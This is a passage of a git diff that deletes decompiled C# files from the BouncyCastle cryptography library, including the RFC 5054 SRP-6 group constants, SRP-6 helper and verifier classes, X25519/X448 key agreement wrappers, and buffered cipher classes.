"FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF"; - - private const string rfc5054_3072_g = "05"; - - private const string rfc5054_4096_N = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF"; - - private const string rfc5054_4096_g = "05"; - - private const string rfc5054_6144_N = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF"; - - private const string rfc5054_6144_g = "05"; - - private const string rfc5054_8192_N = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF"; - - private const string rfc5054_8192_g = "13"; - - public static readonly Srp6GroupParameters rfc5054_1024 = FromNG("EEAF0AB9ADB38DD69C33F80AFA8FC5E86072618775FF3C0B9EA2314C9C256576D674DF7496EA81D3383B4813D692C6E0E0D5D8E250B98BE48E495C1D6089DAD15DC7D7B46154D6B6CE8EF4AD69B15D4982559B297BCF1885C529F566660E57EC68EDBC3C05726CC02FD4CBF4976EAA9AFD5138FE8376435B9FC61D2FC0EB06E3", "02"); - - public static readonly Srp6GroupParameters rfc5054_1536 = FromNG("9DEF3CAFB939277AB1F12A8617A47BBBDBA51DF499AC4C80BEEEA9614B19CC4D5F4F5F556E27CBDE51C6A94BE4607A291558903BA0D0F84380B655BB9A22E8DCDF028A7CEC67F0D08134B1C8B97989149B609E0BE3BAB63D47548381DBC5B1FC764E3F4B53DD9DA1158BFD3E2B9C8CF56EDF019539349627DB2FD53D24B7C48665772E437D6C7F8CE442734AF7CCB7AE837C264AE3A9BEB87F8A2FE9B8B5292E5A021FFF5E91479E8CE7A28C2442C6F315180F93499A234DCF76E3FED135F9BB", "02"); - - public static readonly Srp6GroupParameters rfc5054_2048 = FromNG("AC6BDB41324A9A9BF166DE5E1389582FAF72B6651987EE07FC3192943DB56050A37329CBB4A099ED8193E0757767A13DD52312AB4B03310DCD7F48A9DA04FD50E8083969EDB767B0CF6095179A163AB3661A05FBD5FAAAE82918A9962F0B93B855F97993EC975EEAA80D740ADBF4FF747359D041D5C33EA71D281E446B14773BCA97B43A23FB801676BD207A436C6481F1D2B9078717461A5B9D32E688F87748544523B524B0D57D5EA77A2775D2ECFA032CFBDBF52FB3786160279004E57AE6AF874E7303CE53299CCC041C7BC308D82A5698F3A8D0C38271AE35F8E9DBFBB694B5C803D89F7AE435DE236D525F54759B65E372FCD68EF20FA7111F9E4AFF73", "02"); - - public static readonly Srp6GroupParameters rfc5054_3072 = FromNG("FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF", "05"); - - public static readonly Srp6GroupParameters rfc5054_4096 = FromNG("FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF", "05"); - - public static readonly Srp6GroupParameters rfc5054_6144 = FromNG("FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF", "05"); - - public static readonly Srp6GroupParameters rfc5054_8192 = FromNG("FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF", "13"); - - private static BigInteger FromHex(string hex) - { - return new BigInteger(1, Hex.Decode(hex)); - } - - private static Srp6GroupParameters FromNG(string hexN, string hexG) - { - return new Srp6GroupParameters(FromHex(hexN), FromHex(hexG)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6Utilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6Utilities.cs deleted file mode 100644 index f0b70ba..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6Utilities.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Agreement.Srp; - -public class Srp6Utilities -{ - public static BigInteger CalculateK(IDigest digest, BigInteger N, BigInteger g) - { - return HashPaddedPair(digest, N, N, g); - } - - public static BigInteger CalculateU(IDigest digest, BigInteger N, BigInteger A, BigInteger B) - { - return HashPaddedPair(digest, N, A, B); - } - - public static BigInteger CalculateX(IDigest digest, BigInteger N, byte[] salt, byte[] identity, byte[] password) - { - byte[] array = new byte[digest.GetDigestSize()]; - digest.BlockUpdate(identity, 0, identity.Length); - digest.Update(58); - digest.BlockUpdate(password, 0, password.Length); - digest.DoFinal(array, 0); - digest.BlockUpdate(salt, 0, salt.Length); - digest.BlockUpdate(array, 0, array.Length); - digest.DoFinal(array, 0); - return new BigInteger(1, array); - } - - public static BigInteger GeneratePrivateValue(IDigest digest, BigInteger N, BigInteger g, SecureRandom random) - { - int num = System.Math.Min(256, N.BitLength / 2); - BigInteger min = BigInteger.One.ShiftLeft(num - 1); - BigInteger max = N.Subtract(BigInteger.One); - return BigIntegers.CreateRandomInRange(min, max, random); - } - - public static BigInteger ValidatePublicValue(BigInteger N, BigInteger val) - { - val = val.Mod(N); - if (val.Equals(BigInteger.Zero)) - { - throw new CryptoException("Invalid public value: 0"); - } - return val; - } - - public static BigInteger CalculateM1(IDigest digest, BigInteger N, BigInteger A, BigInteger B, BigInteger S) - { - return HashPaddedTriplet(digest, N, A, B, S); - } - - public static BigInteger CalculateM2(IDigest digest, BigInteger N, BigInteger A, BigInteger M1, BigInteger S) - { - return HashPaddedTriplet(digest, N, A, M1, S); - } - - public static BigInteger CalculateKey(IDigest digest, BigInteger N, BigInteger S) - { - int length = (N.BitLength + 7) / 8; - byte[] padded = GetPadded(S, length); - digest.BlockUpdate(padded, 0, padded.Length); - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - return new BigInteger(1, array); - } - - private static BigInteger HashPaddedTriplet(IDigest digest, BigInteger N, BigInteger n1, BigInteger n2, BigInteger n3) - { - int length = (N.BitLength + 7) / 8; - byte[] padded = GetPadded(n1, length); - byte[] padded2 = GetPadded(n2, length); - byte[] padded3 = GetPadded(n3, length); - digest.BlockUpdate(padded, 0, padded.Length); - digest.BlockUpdate(padded2, 0, padded2.Length); - digest.BlockUpdate(padded3, 0, padded3.Length); - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - return new BigInteger(1, array); - } - - private static BigInteger HashPaddedPair(IDigest digest, BigInteger N, BigInteger n1, BigInteger n2) - { - int length = (N.BitLength + 7) / 8; - byte[] padded = GetPadded(n1, length); - byte[] padded2 = GetPadded(n2, length); - digest.BlockUpdate(padded, 0, padded.Length); - digest.BlockUpdate(padded2, 0, padded2.Length); - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - return new BigInteger(1, array); - } - - private static byte[] GetPadded(BigInteger n, int length) - { - byte[] array = BigIntegers.AsUnsignedByteArray(n); - if (array.Length < length) - { - byte[] array2 = new byte[length]; - Array.Copy(array, 0, array2, length - array.Length, array.Length); - array = array2; - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6VerifierGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6VerifierGenerator.cs deleted file mode 100644 index 5c5d952..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6VerifierGenerator.cs +++ /dev/null @@ -1,31 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Agreement.Srp; - -public class Srp6VerifierGenerator -{ - protected BigInteger N; - - protected BigInteger g; - - protected IDigest digest; - - public virtual void Init(BigInteger N, BigInteger g, IDigest digest) - { - this.N = N; - this.g = g; - this.digest = digest; - } - - public virtual void Init(Srp6GroupParameters group, IDigest digest) - { - Init(group.N, group.G, digest); - } - - public virtual BigInteger GenerateVerifier(byte[] salt, byte[] identity, byte[] password) - { - BigInteger e = Srp6Utilities.CalculateX(digest, N, salt, identity, password); - return g.ModPow(e, N); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/X25519Agreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/X25519Agreement.cs deleted file mode 100644 index f1c8cf3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/X25519Agreement.cs +++ /dev/null @@ -1,20 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public sealed class X25519Agreement : IRawAgreement -{ - private X25519PrivateKeyParameters privateKey; - - public int AgreementSize => X25519PrivateKeyParameters.SecretSize; - - public void Init(ICipherParameters parameters) - { - privateKey = (X25519PrivateKeyParameters)parameters; - } - - public void CalculateAgreement(ICipherParameters publicKey, byte[] buf, int off) - { - privateKey.GenerateSecret((X25519PublicKeyParameters)publicKey, buf, off); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/X448Agreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/X448Agreement.cs deleted file mode 100644 index f698468..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/X448Agreement.cs +++ /dev/null @@ -1,20 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public sealed class X448Agreement : IRawAgreement -{ - private X448PrivateKeyParameters privateKey; - - public int AgreementSize => X448PrivateKeyParameters.SecretSize; - - public void Init(ICipherParameters parameters) - { - privateKey = (X448PrivateKeyParameters)parameters; - } - - public void CalculateAgreement(ICipherParameters publicKey, byte[] buf, int off) - { - privateKey.GenerateSecret((X448PublicKeyParameters)publicKey, buf, off); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/AsymmetricCipherKeyPair.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/AsymmetricCipherKeyPair.cs deleted file mode 100644 index dd9cbc2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/AsymmetricCipherKeyPair.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto; - -public class AsymmetricCipherKeyPair -{ - private readonly AsymmetricKeyParameter publicParameter; - - private readonly AsymmetricKeyParameter privateParameter; - - public AsymmetricKeyParameter Public => publicParameter; - - public AsymmetricKeyParameter Private => privateParameter; - - public AsymmetricCipherKeyPair(AsymmetricKeyParameter publicParameter, AsymmetricKeyParameter privateParameter) - { - if (publicParameter.IsPrivate) - { - throw new ArgumentException("Expected a public key", "publicParameter"); - } - if (!privateParameter.IsPrivate) - { - throw new ArgumentException("Expected a private key", "privateParameter"); - } - this.publicParameter = publicParameter; - this.privateParameter = privateParameter; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/AsymmetricKeyParameter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/AsymmetricKeyParameter.cs deleted file mode 100644 index e5cf7e9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/AsymmetricKeyParameter.cs +++ /dev/null @@ -1,33 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public abstract class AsymmetricKeyParameter : ICipherParameters -{ - private readonly bool privateKey; - - public bool IsPrivate => privateKey; - - protected AsymmetricKeyParameter(bool privateKey) - { - this.privateKey = privateKey; - } - - public override bool Equals(object obj) - { - if (!(obj is AsymmetricKeyParameter other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(AsymmetricKeyParameter other) - { - return privateKey == other.privateKey; - } - - public override int GetHashCode() - { - bool flag = privateKey; - return flag.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedAeadBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedAeadBlockCipher.cs deleted file mode 100644 index 9bf5ca8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedAeadBlockCipher.cs +++ /dev/null @@ -1,132 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto; - -public class BufferedAeadBlockCipher : BufferedCipherBase -{ - private readonly IAeadBlockCipher cipher; - - public override string AlgorithmName => cipher.AlgorithmName; - - public BufferedAeadBlockCipher(IAeadBlockCipher cipher) - { - if (cipher == null) - { - throw new ArgumentNullException("cipher"); - } - this.cipher = cipher; - } - - public override void Init(bool forEncryption, ICipherParameters parameters) - { - if (parameters is ParametersWithRandom) - { - parameters = ((ParametersWithRandom)parameters).Parameters; - } - cipher.Init(forEncryption, parameters); - } - - public override int GetBlockSize() - { - return cipher.GetBlockSize(); - } - - public override int GetUpdateOutputSize(int length) - { - return cipher.GetUpdateOutputSize(length); - } - - public override int GetOutputSize(int length) - { - return cipher.GetOutputSize(length); - } - - public override int ProcessByte(byte input, byte[] output, int outOff) - { - return cipher.ProcessByte(input, output, outOff); - } - - public override byte[] ProcessByte(byte input) - { - int updateOutputSize = GetUpdateOutputSize(1); - byte[] array = ((updateOutputSize > 0) ? new byte[updateOutputSize] : null); - int num = ProcessByte(input, array, 0); - if (updateOutputSize > 0 && num < updateOutputSize) - { - byte[] array2 = new byte[num]; - Array.Copy(array, 0, array2, 0, num); - array = array2; - } - return array; - } - - public override byte[] ProcessBytes(byte[] input, int inOff, int length) - { - if (input == null) - { - throw new ArgumentNullException("input"); - } - if (length < 1) - { - return null; - } - int updateOutputSize = GetUpdateOutputSize(length); - byte[] array = ((updateOutputSize > 0) ? new byte[updateOutputSize] : null); - int num = ProcessBytes(input, inOff, length, array, 0); - if (updateOutputSize > 0 && num < updateOutputSize) - { - byte[] array2 = new byte[num]; - Array.Copy(array, 0, array2, 0, num); - array = array2; - } - return array; - } - - public override int ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff) - { - return cipher.ProcessBytes(input, inOff, length, output, outOff); - } - - public override byte[] DoFinal() - { - byte[] array = new byte[GetOutputSize(0)]; - int num = DoFinal(array, 0); - if (num < array.Length) - { - byte[] array2 = new byte[num]; - Array.Copy(array, 0, array2, 0, num); - array = array2; - } - return array; - } - - public override byte[] DoFinal(byte[] input, int inOff, int inLen) - { - if (input == null) - { - throw new ArgumentNullException("input"); - } - byte[] array = new byte[GetOutputSize(inLen)]; - int num = ((inLen > 0) ? ProcessBytes(input, inOff, inLen, array, 0) : 0); - num += DoFinal(array, num); - if (num < array.Length) - { - byte[] array2 = new byte[num]; - Array.Copy(array, 0, array2, 0, num); - array = array2; - } - return array; - } - - public override int DoFinal(byte[] output, int outOff) - { - return cipher.DoFinal(output, outOff); - } - - public override void Reset() - { - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedAsymmetricBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedAsymmetricBlockCipher.cs deleted file mode 100644 index 96faf38..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedAsymmetricBlockCipher.cs +++ /dev/null @@ -1,98 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto; - -public class BufferedAsymmetricBlockCipher : BufferedCipherBase -{ - private readonly IAsymmetricBlockCipher cipher; - - private byte[] buffer; - - private int bufOff; - - public override string AlgorithmName => cipher.AlgorithmName; - - public BufferedAsymmetricBlockCipher(IAsymmetricBlockCipher cipher) - { - 